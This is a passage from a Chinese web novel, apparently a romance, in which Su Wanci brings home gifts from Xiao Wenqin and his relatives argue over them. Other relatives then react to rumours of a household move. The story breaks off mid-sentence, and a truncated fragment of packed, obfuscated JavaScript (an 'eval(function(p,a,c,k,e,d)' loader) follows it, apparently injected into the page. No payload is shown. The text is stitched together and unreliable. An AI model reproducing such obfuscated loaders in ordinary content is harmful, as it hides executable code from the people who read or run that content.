阻拦,便直接坐着马车去了萧鸣府上,与萧鸣谈过之后,明日再正式过来拜见,夜里会让典墨过来报个平安。
江郁白等人赶到前院时,见满地箱笼,都是珍稀药材、珠宝瓷器、文房四宝,几乎无落脚处。
苏姜海在旁看直了眼睛,“这些都是给太后的寿礼?”
“哪能呀,那些贵重之物另有人护送,我这典司院的小官,磕了碰了算谁的?”苏晚辞笑眯眯,从箱笼里挑出两个玉扳指,“爹,你不是喜欢玉扳指,这个给你。”
苏姜海狐疑地看着他,“你地上捡银子了?”
苏晚辞笑而不语。
苏姜海又要去拿箱笼里的玛瑙手串,苏晚辞啪一下把箱笼盖上,“余下这些都是给舅舅、舅父的。”
江郁白把他拽到身边,捧着他的脸看,见他圆润了一圈,气色白里透红,与离开时完全两个模样,惊疑不定道:“你是我家晚辞吗?这些东西哪来的?”
苏晚辞眨了一下眼睛,不敢太大声,含糊其辞地说:“萧.......的!”
“什么?”
“文、文钦送的......”
江郁白大怒:“全部给我扔出去!”
苏姜海愣了半晌,大发雷霆道:“对!全部扔出去!”他一转头,冲身后的侍从道,“你找几个人,再给捡回来,送去我房里。”
“舅舅,你这是干嘛呢。”苏晚辞垂下眼去,神情低落道,“文钦已经改好了,不会再乱发脾气了。”
江郁白冷着脸道:“当年他弃你不顾,四年都不曾来找你,你一句乱发脾气,这些事情就揭过了?”
萧文钦有苦衷,可苏晚辞却不能告诉他们,萧鸣意图谋反,这是何等抄家灭族的大罪,彼时萧文钦方十八岁,又要确保苏晚辞不受牵连,又要阻止萧鸣谋反,或许他确有不妥之处,可平心而论,换作任何一个人,未必能承受住这份压力与恐惧。
苏晚辞把头靠在江郁白怀里,闷闷地挤眼泪,挤了半天挤不出来,于是不敢抬头,死拽着江郁白的身体不松开,脚尖一别,踹了一下赵权的脚踝。
赵权沉吟道:“我也觉得应该扔出去。”
江郁白赞同颔首。
“但只能扔一半儿,有一半是送我的!”赵权撩起袖子,“我先挑一半儿,剩下拿去扔。”
江郁白彻底气坏了,用力掰开苏晚辞,甩了人往回走。
赵权撇下手里的东西,拔腿追了上去。
苏晚辞留几样要去送礼,其他吩咐管家收进库房。
*
“你听错了没有!”朱道柳大惊失色。
“表舅,我恰好就站在那假山后头,绝不会听错的。”田冀胜道,“老头子前脚刚把王武那三人扭送去衙门,后脚就吩咐钱管事去皇城里修宅子,说是年后就搬家,以后要去皇城里养老,钱管事几个还打趣,要给表哥备嫁妆。”
朱道柳脚步虚软,一屁股跌坐进椅子里,喃喃自语道:“老爷子怎会这般舍得,让文钦去当人赤子!不!一定是假的!”
殷季月问道:“胜儿,你确定不是故意说给你听的?”
田冀胜苦着脸道:“我往日里鲜往那处去,谁能知道我在假
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function()